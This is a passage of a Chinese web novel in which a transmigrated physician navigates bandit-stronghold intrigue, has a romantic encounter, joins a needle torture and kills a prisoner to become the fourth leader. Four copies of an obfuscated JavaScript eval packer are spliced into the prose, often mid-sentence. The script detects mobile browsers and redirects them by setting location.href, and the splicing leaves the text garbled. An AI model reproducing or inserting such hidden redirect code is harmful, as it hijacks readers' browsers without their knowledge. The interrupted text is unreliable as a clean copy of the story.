;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15012437|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .. 她心中冷笑,面上却是不显,笑说:“三当家,您难道给了我拒绝的权利吗?你让我去采买毒药,这样的罪行,若是被他人知晓,只怕,比杀了山寨的兄弟,更加严重吧?三当家,我早已上了你的贼船。” “哈哈哈哈......”见自己的计谋被拆穿,宋又新只觉得徐青茹这颗棋子比他想象的还要好,“徐姑娘,你是天生的将领,做大夫实属是埋没你了。” 听着这人的恭维,徐青茹神色淡淡,只有睫毛轻颤了下,半响,她才道:“三当家,说吧,你需要我做些什么?” ...... 三当家走后,徐青茹卧躺于床上,望着帐顶垂落的流苏惠子,神色复杂。 她拼命地回想起原书——城阳王世子率领将士踏平杏花寨那日,遇到的,遇到的应该是......徐青茹想到那些描写,身材高大,气势非凡,从容赴死,身旁有一位女土匪心狠手辣,出剑疾速.....徐青茹眯着眼,应该是大当家和二当家。 既然是这两位,那应该就说明三当家的谋叛应该是失败了......所以,如果她真的为宋三做事,那她,估计也离死不远了。 那......如果她将此事直接禀告大当家呢? 徐青茹的眼神暗了暗,她人微言轻,没有关键证据,只怕会被那老狐狸反咬一口...... “可恶——” 徐青茹攥紧锦被边缘,吐出一口浊气,她要怎么办才好? 踏错一步,这些人,都有可能要杀了她。 忽地,她突然想起栾佑那双漂亮的眼眸,能不能让他.....不行!徐青茹立马否决了这个想法,他虽对自己有那么一两分情谊,但这份情谊可上不了称。 ...... 徐青茹罕见地失眠了一晚,菱花镜中倒映出她眼下的淡淡乌青。 桂月见到,不由一惊,手中铜盆里的温水也晃出涟漪:“姑娘脸色怎么比昨天还差?可是伤口又裂开了?” “不碍事。”徐青茹摆摆手,葱白的指尖掠过檀木妆匣,拣了支碧玉蝴蝶簪,“梳个利落些的髻吧。” 今日,她还要去老夫人那察看病情,诊断开药——老夫人也是她保住小命的一个重要环节。 桂月给徐青茹配了件翠绿色的衣裳,衬得她分外清丽可人,兰质蕙心。 知秋见了她,捧着红漆描金托盘迎上来:"徐姑娘,你来了。老夫人晨起就念叨,要把库里那支老参煨给姑娘补气呢。" 徐青茹一愣,连连推辞:“这怎么使得,人参本是大当家给老夫人的......” “青茹,你过来这罢。”里间传来慈蔼唤声,徐青茹冲知秋婉拒地笑笑,便先进了内房。 “老夫人。”她疾步上前挂起软烟罗,握住老夫人枯瘦的手,“老夫人可是好些了?” “好多了。”老夫人倚着石青色的引枕,银丝攒珠抹额下脸色红润,“是你的功劳。” 徐青茹抿笑。 “好孩子。”老夫人拍了拍她的手,“你这伤势如何?” “托老夫人的福,并无大碍。实在不用管我了,我先来瞧瞧您的病——” 话音未落,忽觉背后暖阁珠帘哗啦作响,一阵冷气袭来——屋内又进来一人,正是大当家单豹。 14. 第 14 章 递信 徐青茹噤了声,垂首盯着青砖地,只见这位大当家淡漠地扫过她,随后看向老夫人,声音恭敬:“近来母亲可安好?” 檀木雕花床上,老夫人嘴角露出一丝微妙的笑意,却是没有回答他的问题:“下次有什么事,别让青丫头去了,回回出去都弄一身伤。我这把老骨头的病,还得靠这丫头呢。” 徐青茹微怔,蓦地抬头看向老夫人,似乎没有想到这位老太太竟然愿意维护她。 “......是,儿子谨记。” 没有得到想要的回答,大当家转眼看向徐青茹,神色威严:“徐大夫,你来说说老夫人最近的情况。” 徐青茹轻舔了下唇角,便不卑不亢地一一向大当家汇报来,“......老夫人的病情已趋于平稳,只是夜间仍会盗汗......再服药一月,应该就快痊愈了。” 单豹点点头:“劳烦徐姑娘了。” 徐青茹轻点下颌,眉眼恭顺:“民女份内之事。” 见老夫人身体无忧,大当家意欲离去,徐青茹手中一紧,指甲嵌入掌心,似是想到什么突然抬头道:“大当家!民女......民女还有一事,须同大当家商议。” 大当家如鹰一般的眼神窥了过来,落到她身上,自带一股审视之意。 徐青茹从床塌边上直起身,利落将裙裾掀至一旁,伏跪下去:“民女曾有一事掩瞒大当家,心中惶恐,今日托盘,求大当家惩处民女!” 此话一出,房内落针可闻,陷入一阵沉默。 徐青茹抬头,眼眸中似乎有一簇熊熊燃烧的火苗:“民女在入寨之前,曾杀死过一个山寨弟兄。” “他当日正欲凌辱于我,民女挣扎中一时手误,用利石将其击杀。此事一直惶惶于民女心中,不敢告之他人,大当家,您若要处罚民女,民女愿意承受,只求一个心中安稳!” 大当家看着她,良久,才道:“是你杀了张皮子?” 徐青茹心中一惊,单豹果然是盘踞一方的山匪之首,反应迅速敏锐。她点点头:“应是此人。” “进寨之时,你为何不说?”单豹俯身,拿出随身携带的刀鞘挑起她下颌,眼神尽是打量与怀疑。 “民女害怕!”徐青茹眼中氤氲出泪珠,“杀人之事,民女心有戚戚,更何况,他是山寨之人,民女怕自己一旦如实说出,便会直接命丧黄泉。但......这些日子民女夜夜梦魇,担惊受怕,更何况,民女现已知悉各位当家作风,知道大当家不是不明事理之人,故而民女选择告之!”她掷地有声,神情愈发坚毅。 大当家冷着眉看向她:“既是如此,徐大夫,你觉得我应当如何罚你?” 徐青茹咬了咬舌,袖中双拳攥紧,眉目中透露出一股冷瑟果决之意:“......笞刑。” 杏花寨内,除二当家所设私刑外,平常的便是笞、杖二刑,皆是对犯事但不至死者罚之。徐青茹为女子,承受笞刑,已经莫大的处罚。 房中似乎又陷入了一片死寂。 “够了。”老夫人的声音冷冷传来,盘在手中的佛珠撞到床栏,发出清脆的响声,“你们当我是不存在吗?” “母亲——” “青丫头医治我这老毛病有功,功过相抵,何来惩罚?况且,既然是那混人先招惹的青丫头,杀了他也无可厚非,难道大当家还真要对青丫头施以鞭刑?今我这年老昏聩之人作一作你们的主,此事掀过,再也不许提。” 闻此言,徐青茹心中发酸,泛起阵阵涟漪。 大当家看向老夫人,终是收起刀鞘,道:“母亲既已作主,儿不敢不从,此事就此作罢。” 徐青茹紧绷的神经这才松懈下来,整个人软绵无力,隐隐发虚。 她看向老夫人,神色动容,眸中含泪,最后伏跪长拜,以额触地:“民女......谢过老夫人。” 昨日—— 静夜沉沉之中,三当家踱步于房内,笑意吟吟:“你需要做的第一件事便是,在给老夫人看病之际,在她与大当家面前,说出你杀了张皮子一事,并主动求罚。” 此话刚落,徐青茹抬眸看他,面色冷峻,眼神犀利。 这人打的是什么算盘?!她若能亲口告知而无性命之忧,早就直言了,何苦隐瞒至今? “哈哈哈哈,徐姑娘不必担忧。”见她怀疑审视的目光,宋又新露出一个高深莫测、尽在把握的神情,“鄙人不才,但有一事最为擅长——那便是揣度人性。我了解单豹的性情,你若是主动告诉他,他虽会罚你,却也会高看你一眼,从而审视你身上别的价值,说不定,还会着重培养你。这叫,以小博大!” 他一顿,顺手拿起桌案上的茶杯一饮而下,“好茶!” 随后继续道:“况且,徐姑娘你当着老夫人的面说,老夫人心慈,说不定会要求大当家免了你的罚,这便是,富贵险中求!” 徐青茹神色变了又变,她担忧多日的事情竟然被他这样轻飘飘地利用起来,一时间有些无奈与愤恨——恨自己太弱小,恨自己虽是穿书却一叶障目。 她垂了垂眸:“你最好说的是真的。” “当然!” “我何必要骗你呀徐故娘,你好,我才好。” 徐青茹冷笑一声,这是自然,毕竟风险都是她一人承担,他只需动动嘴皮子即可。不过......这人说的确实没错,之前她对山寨之人知之甚少,不敢轻举妄动,而现在这三当家已摆明利害,她并非固执己见之人,釜底抽薪才能绝境逢春,只有将这事坦然告之,她才能真正地解决掉这个暗藏的隐患。 ...... 徐青茹思绪回笼,在大当家的凝视下,她缓缓起身,走到床边轻声道,“老夫人......” 老夫人叹了口气,握住她的手,眼神中尽是疼惜,“你这孩子呀......” 对不住老夫人,是青茹利用了您。 徐青茹抿了抿唇,声音仍是有些发酸:“老夫人,我继续给您看病。” 她在老夫人院中呆了半日,后还同老夫人、大当家一同用了午膳。 徐青茹吃的小心谨慎,礼仪周全,不过一会儿便回了还明院。回去后,她并未和桂月说起她已将此事告知大当家,只说老夫人的病应是快好了。 桂月喜上眉梢:“太好了,这真真是件好事。” 说罢,她拿出一张微微泛黄的纸张递给徐青茹,“姑娘,刚刚有人捎了包草药过来,这内里有张纸,不知是放错了还是给姑娘您的,姑娘你瞧瞧?” 徐青茹接来,上面蕴出淡淡的草药味和墨香味,飘逸地写了四字——当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15023384|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归几何? 她微愣,这字迹,是栾佑的。 “写的是什么呀?”桂月不识字,便好奇地问道。 徐青茹:“当归几何。” “嗯?”桂月蹙了蹙眉,忽想到什么,问,“是向姑娘您询问怎么配药的吗?” 徐青茹轻轻摇了摇头,她将信纸折成方状,放入衣袖。 他是问她什么时候去找他。 她凝思着院子里摇曳的灼灼杏花,忽地想到了少年身上的清幽的味道。 徐青茹决定明日去他院中。 ......虽说她现在斡旋周转于大当家和三当家之间,但栾佑,也绝不是一个可以忽视的人物。更何况,上次山洞之事,她细想之下,隐约觉得有些蹊跷——他在放任,或者说引诱自己接近他。 此人身上迷雾重重,不仅是为了他的容姿与庇佑,也为了他身上的秘密,她都不能与其断了联系。 翌日卯时,桂月执着犀角梳在徐青茹头上比划着,问道是否要穿那件宝蓝色的衣裳,徐青茹歪头瞧了瞧铜镜里面的自己的模样,认真思考着:“不了,换那件鹅黄色的襦裙。” 桂月一愣,但很快点点头:“姑娘穿那件好看,如花似玉,就跟外面的贵家小姐一样。” 说罢,桂月从檀木衣箱底捧出叠得整齐的衣裙,欢快地道:“那我便给姑娘梳个轻巧些的发髻!” 徐青茹轻笑——十八岁的少女,自然要有十八岁的模样。 行至青石小径尽头,徐青茹扶了扶发髻上的镂空海棠花步摇,身姿清雅,灵动秀丽。她静默片刻,随后直接敲响门扉。 几道叩门声响过,惊起两只褐色雀儿,但仍不见院中有半分动静。 徐青茹望着门环上的少许铜绿,神色有些疑惑,莫不是这小山匪出去了?她顿了顿,又敲了几下,仍无应答。 难道今日无缘? 不会,他既托了信,且未说明时间,只问“几何”,便是她随时可去的意思。不过,若是他真不在此——现天已大变,乌云沉沉,风声猎猎,只怕大雨将至,莫非她还要在这等上一两个时辰不成?回去在暖塌上睡上一觉,吃着琉霜夫人带来的剩下的糕点,研究一下药方,也是乐是一桩,只可惜了今日这装扮...... 她思量着,已有了离去的意思,正欲转身,一阵轻飘飘的声音忽传了过来,“徐姑娘这就想走了?” 徐青茹微怔,追溯那声音源头,少年正抱臂站在她斜侧方,神情慵懒,眉眼极艳,墨色的衣摆被风吹得沙沙作响。 她一顿,嗔道:“我方才敲门,郎君怎么不应我?” 少年径直走来,骨节分明的手指慢条斯理地将钥匙插入木锁,仍是轻飘飘的声音,却明显带了些顽劣:“我自然也是刚刚才到。” 徐青茹不信这厮的说辞,一边跟着他走进院内,一边轻蹙眉说:“若你再这般,我下次便不来了。” 听了这话,他神色变了又变,盯着徐青茹,语调幽幽:“我若是不给姐姐递信,你怕早已忘了我。” 徐青茹一滞,竟是被他说得心头涌上几分心虚。 “……山寨不比外面,自然要小心。” 她抬眸,纤手忽一把牵过少年,眼中闪过一丝狡黠,“把门关上,这天准要下雨,去房内说。” 15. 第 15 章 审人 徐青茹甫一跨过门槛便闻到一股淡淡的松烟墨气。 窗棂下横着半人高的榆木兵器架,三柄镶铜环的雁翎刀斜插其中,外表的鹿皮刀鞘泛着锐利的光亮。靠北的矮榻上团着张狼皮褥子,边角处露出半卷翻毛的竹简,案几上的砚台里凝着隔夜的墨,旁侧的笔尖还沾着几点朱砂,剑匣里装着几支羽箭,箭尾的红翎分外鲜艳。 她的打量并未收敛,只是忽察觉自己还牵着他人,便兀地松了手。 少年挑了下眉,没说话,冷白修长的手指拿过茶壶,沏了盏茶放于她面前。 “......郎君可知,当日刺杀之事,可与四当家有关?”徐青茹问道。 原本以为他会给个模糊的答案,但栾佑却是直言,声音冷冽:“正是他。” 正是他?不是说四当家与山寨中的另一奸细勾结吗?但徐青茹没有将这个问题问出,只说:“他为何要派出刺客?” 少年勾唇一笑,眼眸晦暗:“自然是来杀我的。” “......杀你?” 果真是来杀他的?! 栾佑抬眸看她,修狭的眼中透露出一股冷肃之意:“张磐恨杏花寨,外出采买是最容易下手的时候,杀了我,便能解一解他心中愤恨。” 徐青茹一顿,拿过面前的青瓷茶盅,轻抿一口,心中却在吐槽:原来如此,那她受伤以及随行山匪被杀,全是托了这位小山匪的福。这杏花寨内一个两个的都起了异心,难怪之后才分崩离析得如此之快...... “不过——” 少年眼神陡然变得深邃,他略有深意地盯着徐青茹:“不久之后,二当家应该会让你与她一同审张磐。” 徐清茹拿着茶杯的手骤然一松,茶盅落到地上,发出清脆的响声,与此同时,外面忽闪起一阵惊雷,泼云翻滚,顷刻之间,暴雨便如天河倒灌般砸了下来。 她想起上次她见到的张磐的模样——整个人皮开肉绽,血液粘稠着衣裳,分外骇人。 徐青茹神色未变,漠然地看向地上的碎瓷片,声音平静到几乎冰冷:“......叫我?” 为何要叫上她?难道又是想试探她吗?这是大当家的主意,还是二当家的主意?而且,徐青茹抬眼看向栾佑,他是在提醒自己吗...... “徐姑娘。”他喊了她一声,眼睛中带了一丝别样的情绪,随后他踩上那碎片,将她鬓边的发丝别到耳后,语气淡淡,“二当家审人的手段,血腥残忍,不知姐姐你,是否受得?” 这样的距离实在过于靠近,两人的呼吸顷刻交混一起。 是否受得? 徐青茹心中嗤笑一声,受不受得了她都不能拒绝,所有的一切,她都无法拒绝! 徐青茹的手紧紧攥着衣袖,身体微微起伏着,她看着面前的少年,忽轻笑一声,向着他又走近了一步—— 温软的柔荑陡然攀在他颈间,一双眼眸清明又勾媚,栾佑甚至能闻到她身上幽冷的体香。 良久,她道:“二当家叫民女一同审人自有她的意思,我何惧之有?” “只是现在......”她目光直白,话语暧昧,“何必辜负这大好时光?” 话音刚落,她踮起脚,朱唇用力地咬了上去,似是宣泄着她刚才涌起的种种情绪。 栾佑脑中有那么一瞬间的空白,只觉得茶香溢于唇间。但很快,他便扣住少女的后脑勺,加深了这个吻。 激烈而绵长。 情动之际,徐青茹将人拽到里间的床塌之上,褪下半边衣裳,雪白的肌肤便直接露了出来,正待她想扯下他腰间玉带更进一步时,少年忽地放开了她。 霎时间,两人陷入一阵沉默。 “......为什么?”她打量着这人此刻的灼灼容貌,轻声问道。 他耳尖又红艳起来,整个人像一个熟透了的桃子,此时也有了些结巴:“......对......对你......不好......” 他知晓这等事会让女子怀孕,但他并不想让她怀孕,更何况她现在有伤在身。 徐青茹想说没关系的,她可以事后吃药,她很想同他欢爱一场,她很想在这样的快乐中忘记那些烦恼的、忧愁的事情。至于贞洁?她都不知在这异世界能活上几天,若还在意那玩意,实在是太憋屈了!更何况,她上辈子还没有同任何男人进行到最后一步,年纪轻轻就直接嗝屁了,这难道不遗憾吗?! 故而,她秉持及时行乐的观念。 但,他说的顾虑也并非全无道理,身体终归是自己的也得顾上一顾,于是徐青茹没有坚持,只嘱咐道:“那郎君记得往后寻些羊肠来。” 这话说的直白,少年听后脸色愈发绯红,诡异地沉默了半响,才听到他的声音,“......嗯。” 此刻徐青茹才觉得这人有些十七岁少年的感觉,于是她“咯咯”地笑了起来,声音如铃铛一般清脆悦耳,连带之前听到她要去和二当家一同审人的忧愁也一并消散。她玉白纤细的手指绕到他耳后,将缚着他头发的红绳轻轻扯掉,少年的长发便一下子倾洒下来,墨发披垂,更显俊美。 “......好看,真真好看,不愧是妾的郎君。”她笑着夸道,明媚皓齿,别有一番灵动娇憨。 ......这女人怎么如此大胆顽劣,但......又如此可爱...... 少年看着她,眸色愈发晦暗深沉,忽一把扼住其的手腕,俯身又吻了下去,少女一颤,盈盈笑声蓦地被封住,顷刻之间只剩下唇舌间的靡靡水声。 帐幔落下,两人的身姿隐匿于半明半暗之间。 房外雷声轰鸣,狂风乱作,雨如刀剑般又急又烈,似要穿透一切直达里土,滋润万物。 * 一处偏僻的小土坡上,一人着黑色斗篷矗立于风雨摇曳之中。 良久,一黑衣男子赶了过来,抱拳行礼:“属下来迟,请主上惩罚!” “......如今我还算得上什么主上?”斗篷之人嘴角露出一丝嘲讽,随后眼中掀起锐利的寒冽,“他没死。” “那大人那边......” “无妨,他既然没死,反倒是验证了大人的猜测。” “......你如实禀告大人便是。” “是!” 黑衣人身形一闪便消失在暴雨之中,唯有那斗篷之人静静地凝望着天际,神色难辨。 * 栾佑说的没错,二当家果然召了她前往狱房。 去前,徐青茹先给自己煮了少许薄荷润过的茶水,一饮而尽。 她面色冷白,在一山匪的指引下,打开铜门,穿过一条长长的、只有少许烛光的走廊,便得以进入二当家用于私刑的狱房——里面大而空旷,放着无数个火盆,火盆之间摆放着一张长桌,桌上是各式各样的刑具, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031848|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐青茹刚刚进来,额上便温出热汗。 房内正中间,一个呈“大”字模样的汉子被捆绑起来,上半身裸露,伤痕累累,肋上的白骨都显现出来,面庞肿青,分外骇人。正是四当家张磐。 但,徐青茹扫视一周,房内再无其他人的身影。 二当家呢? 她心中掠过一丝不妙。 徐青茹敛了敛神,出声试探:“二当家,民女徐青茹已到。” 她的声音在封闭的房内荡出余波,混着火把“噼啪”作响的声音。但没有人回答她,只有刑架上的人冷哼一声,似是嘲弄。 于是她站在原地未再言语,只是心中一上一下,不得平静。 莫约是一炷香的时间,突然听得“咔嚓”一声,不知是哪里的暗门被打开,一个身影出现在徐青茹的眼前,二当家一身绛紫色的衣裳,鼻梁挺高,眉目英丽冷冽,虽是女子却带着一身煞气,令人无端生惧。 “二当家。”徐青茹低眉行礼。 二当家罗斩秋看着她,半响,“去选个刑具。” 徐青茹心中一颤,心中隐隐约约有了猜想,但面上仍是平静极了,她走到长桌面前,看到了烙铁、铁针、钳子、长钉等各类刑具。 正待她欲挑选之际,女人冷冷的声音又传了过来,“既然徐姑娘是大夫,就用铁针吧,正好我也最擅长用针,可以与徐大夫探讨一下。” 徐青茹咬了咬唇,“是。” 片刻后,她挑出一根铁针拿在手中。 罗斩秋也走到桌前,随意拿了根铁针,然后慢步走到这位曾经并肩作战的兄弟面前。 张磐见到她,冷笑一声,一张嘴血珠便从缺了的牙齿缝里流了出来,“刺杀之事是我做的,再无他人。” “你在这狱房不可能能传递消息,必有人协助你。”二当家目光凌厉,嗓音阴沉冷冽,但片刻后又平静下来,甚至露出一丝淡淡的笑容,“好四弟,若你将他说出来,我便给你一个痛快。” 然而,面对女人的威胁,张磐仍只是重复地说着是自己所为。 骨头很硬。 “既然如此——” 罗斩秋蓦地将铁针插入他的指甲中间,这位四当家不由闷哼一声,眼神中翻滚着痛苦与恨意,但很快,女人又将突地铁针抽出,在同样的地方插入,狠、准、稳,来来往往几次,张磐终是发出一声凄厉的长嚎。 那声音似是亡魂索命,撞在石壁上迸出回音,最后才落到徐青茹的耳中。她不由轻轻吞咽了一下口水。 女人眼中露出一丝快感,似是欣赏自己精心打磨的物什,随后,她将铁针放到桌上,拿出一张素色帕子细细擦拭着手,头也未抬,声音恍若毒蛇吐信:“徐大夫,该你了。” 徐青茹一滞,鬓边青丝早已晕上薄汗,微微湿润。 她很快便意识到二当家是让她对张磐继续实施酷刑。 但,她的手是治病的手,不是杀人的手,张皮子是意外,但如果今日她对张磐动手,对他施以这残忍的酷刑,那便是真正没回头路可走了——她再也不能自欺欺人了,哄骗自己与他们不同。 徐青茹握紧铁针,眼神中闪过细微的纠结,这要如何是好…… “我说——” 嘶哑的声音从四当家嘴中发出,混着粗重的喘息,他突然盯向徐青茹,恰如地狱鬼魅般低语:“......那个与我接应之人,是她!” 16. 第 16 章 杀了他 轻飘飘的一句话,却恍若一把利剑将徐青茹还尚天真的思维一下斩断,令她五雷轰顶,神色大变。 她急忙转向去看二当家——女人神色淡然,看不出有什么变化。徐青茹抿了抿唇,神色略许镇定了下来。 “四当家......”她深吸一口气,眼神却陡然转冷,“我并未与四当家你有过交集......四当家为何要诬陷我?” 思略一二,他这番指认可信度很低,一是自己进寨之后从未见过他,二是她也是被刺杀的一员,这句话说出来实在不够聪明,更显现出一种被逼疯的荒唐。 张磐笑了几声,嘴角吐出血水,他看向徐青茹,语气就如同唠家常般,“......看出来了,你刚刚不想对我动刑,是医女么......果然是好心肠......” 然絮絮叨叨之间,其言语突然变得疯癫起来,“只不过你这般菩萨心肠的弱女子,就算今日不反水,明日也定会当上叛徒!我这话只不过是提前验证罢了!” 一番话说完,狱房中陷入死一般的沉寂。 罗斩秋抬头略有所思地看了一眼他。 艹! 这人有完没完,这话是能说的吗?!大哥你嫌命长我还嫌命短呢! 徐青茹攥紧了衣袖,神色中闪过一丝阴翳。 半响,她面色平静,甚至露出一丝微笑:“四当家,你说的确实没错,我刚刚确实不想对你动刑......” 忽地,徐青茹听到一丝细微的响声,她轻顿,话在嘴边转了个弯又咽了回去,她慢慢走到张磐面前,然后—— 扬手“啪”地打了他一巴掌。 这声音清脆响亮,在这间狱房里极为鲜目。 罗斩秋的眼神落到徐青茹身上,意味深长。 男人的脸被扇到一边,更加血肉模糊,红痕尽显,神色也有些难以置信。他耳边鸣鸣作响,少女的声音愈发轻柔:“......可我现在改变主意了。” 徐青茹眯着眼看向他垂落的手,捻着铁针的手指微微泛红。 忽地,她将铁针猛地扎了进去,耳垂的珍珠随动作晃烈,扯出一丝亮线。 “啊啊啊啊——” 男人发出一声惨烈的哀叫,声音在房内回荡不息。 徐青茹不疾不徐地转身,在长桌上又挑了一根铁针,随后稳、准地将其扎入了他的另一只手中。 男人霎时痛得脸色大变,狼狈不堪。 二当家见此,笑了。 徐青茹挑眉,她给他扎的是手上的后溪穴,《拦江赋》有言,“后溪专治督脉病,癫狂此穴治还轻。”用针刺此穴虽能治病,但疼感十足,寻常人难以承受,更何况这铁针比寻常针要更粗一些。 徐青茹抬眸继续看他,声音冷冽:“四当家且再说,到底是谁与你接应?” “......若不说,这针可刺的地方甚多,民女可一一为四当家尝试。” “......呵......呵,倒是,倒是我......小瞧了你......” 正待徐青茹凝思着下一个可刺针的穴位时,暗门忽地一下又被打开,发出轻微的响声——大当家身着黑衣貂皮,徐徐走了过来。 他拍了拍手掌,一双锐利的眸子满意地看向徐青茹:“徐姑娘,你确实是难得的有胆有识之人。” “有你这等人物进入杏花寨,是我单豹的荣幸。” 徐青茹连连福身:“民女不敢。” “......徐姑娘谦虚了。” 单豹看向被绑住的兄弟,眼中幽深,神色辨不出喜怒,“子逄(pang),你还是不说?” 刑架上的人头发披散,头重重地垂低,过了良久才发出一阵阵癫狂的笑声。 笑声过后,他抬头,生无可恋地看向曾经的大哥,凄厉地喊道,“错了,都错了!是子逄错了啊!” “杀了我吧!杀了我吧!” “你们折磨我有什么用?!折磨我有什么用!我是不会说,不会说的......” 半响,他突然声音哽咽,嘶哑不堪,“......我也不知道,我也不知道,为什么就到了如此境地......” 见他如此神志不清,单豹阖了眼,片刻,再睁眼时,眸中已尽是冷漠,他偏头看向徐青茹,指了指桌上的一柄短剑,声音沉重,似是命令又似蛊惑:“徐姑娘,你去杀了他。杀了他,你便是新的四当家——” 此言一出,四周的空气凝滞了一瞬。 徐青茹神色蓦然,眼神中闪过一丝惊愕。 “......徐姑娘,我单某从不食言。” 这句话似乎带了咒语,催促着她走到了长桌面前,徐青茹的眼神落到那把凛冽锋利的短剑上——透过它看向了其背后的滚着岩浆的沉沦与深渊。 书中张磐是活活被二当家用针折磨死的,而如果她直接杀了他,反而对他是个了断......她这不算是滥杀...... 呵! 徐青茹心中冷声一笑,够了,别为自己找借口了,你就是贪心四当家的位置,你就是贪心那位置下面露出的一丝权利与庇佑!杀了他,你已经没有退路了! 没有风,只有墙壁的最上方露出一个小口,外面的亮色微微透了进来,原来还是白日。 徐青茹神色冷决,不再犹豫,她拿起短剑快步走到犯人面前,猛地将其刺进这位四当家,噢不,曾经的四当家胸口,一气呵成,甚至说得上有些疾速。 暗红色的血液崩了出来,顺着刀柄流到徐青茹白皙娇嫩的手指。 还有几滴,溅到她安静美丽的脸庞之上。 见刀插入自己胸膛,这人反而咧了下嘴角,轻声说了声“谢谢。” 太安静了。 徐青茹蓦地将刀抽出,随后一松,短剑跌落在地,发出“哐嘡”一声。 她的眼睫轻轻颤了颤。 单豹嘴角终于有了一丝笑意,他看向徐青茹,由衷地称赞道:“做得很好,徐姑娘,从今往后,你便是我杏花寨新的四当家了。” 徐青茹舔了舔嘴角,露出淡然而麻木的笑容,眼神中似乎有什么东西变了,“承蒙大当家赏识。” “之后,我让凤奴为你筹备一次酒席,恭喜我们杏花寨有新的四当家了。” 徐青茹抿唇:“民女,谢过大当家。” 罗斩秋也看向她,嘴角微微勾起:“恭喜。” * 到还明院后,徐青茹第一件事便是用清水狠狠地洗了手脸,而第二件事便是抱着痰盂吐了。 “姑娘,姑娘这是怎么了。”桂月急忙拍着她的背,又端来一杯茶水,“快润润口。” 徐青茹将茶水喝下,又吐了出来,混着少许血迹,她扶着桂月,声音发虚,“桂月,我......” “怎么了呀姑娘!可是大当家责骂您了?” “不是......”徐青茹摇了摇头,正想说些什么,猛地又吐了出来。 虽然前世她也见过不少常人难以接受的血色场面,但今日这遭,那混着各色味道的血腥味实在让人作呕,她在狱房,当着大当家和二当家的面尚能忍受,出来后只觉头晕目眩,胃中排山倒海,她一路将手藏于衣袖之中,咬着唇才得以镇定归来。 这次,她亲手又杀了一人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15039409|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶呦姑娘......”桂月急得眼泪都出来了,她拿过帕子打湿一番,仔细擦着徐青茹嘴角,“难道是吃坏了什么东西?” 良久,徐青茹才恢复了些精气神。 桂月将痰盂放在外侧,又过来搀扶着她坐到床榻边,“姑娘小心。” 徐青茹将头靠在一侧,面色苍白而柔弱,显出几分文丽。 桂月抹了抹眼泪,“这是怎么了......姑娘出去时还好好的......” “无碍。”她对着桂月露出一个宽慰的笑容,“......是好事。” “好事?什么好事竟叫得姑娘这般......” “大当家......” “大当家许了我的四当家的位置。” 还在抽泣的桂月一顿,神色蓦然,结巴起来,“什......什么?!” “四当家?!” 徐青茹向她轻轻点头。 “这......这......”桂月眼中又盈出泪花,一张俏脸霎时皱了起来,又笑又哭,她抱住徐青茹,哽咽着喊道,“姑娘!姑娘......” 徐青茹安抚地拍了拍女孩的背,“不哭,不哭......”眼神却透过窗棂看向外头锦簇的杏林,幽暗深远,不知在想些什么。 消息被传出去的下午,暮色将倾未倾之际,三当家带着一乌木箱笼走了进来。箱子被壮汉放在地上,发出一声闷响。 徐青茹瞧了一眼木箱,语气淡淡:“三当家这是?” “我自是来送贺礼的。”宋又新笑声洪亮,“恭喜恭喜,徐姑娘真是有大能耐!” “能耐”二字被他拉长,拖出一丝别样的意味。 听他这话,桂月又惊又吓,下意识地看向徐青茹,徐青茹向她轻轻摇了摇头,“桂月,你去看看那茶煮得如何了。” “是。”桂月领了意,但退至房门前,终究忍不住回首望去——雕花屏风后两道剪影相隔甚远,斜阳将徐青茹鬓边步摇映得寒光凛冽。 "三当家的这份礼,倒比山门前的流云还快些。"徐青茹用茶盖轻撇浮沫,望着眼前之人露出一丝浅笑,“说到底,应是我来谢三当家,若不是您的指点,我又如何能做到这个份上?” “哈哈哈哈哈哈,四当家可是谦虚了,若不是你自己得了大当家的青睐,鄙人说再多也无用。不过——”宋又新话音一转,尾音陡然压低,神色略显严肃,“今日除了给四当家送礼外,鄙人还想向四当家多嘴几句。” 徐青茹执盏的手顿了顿,茶汤泛起涟漪:“哦?三当家请讲。” 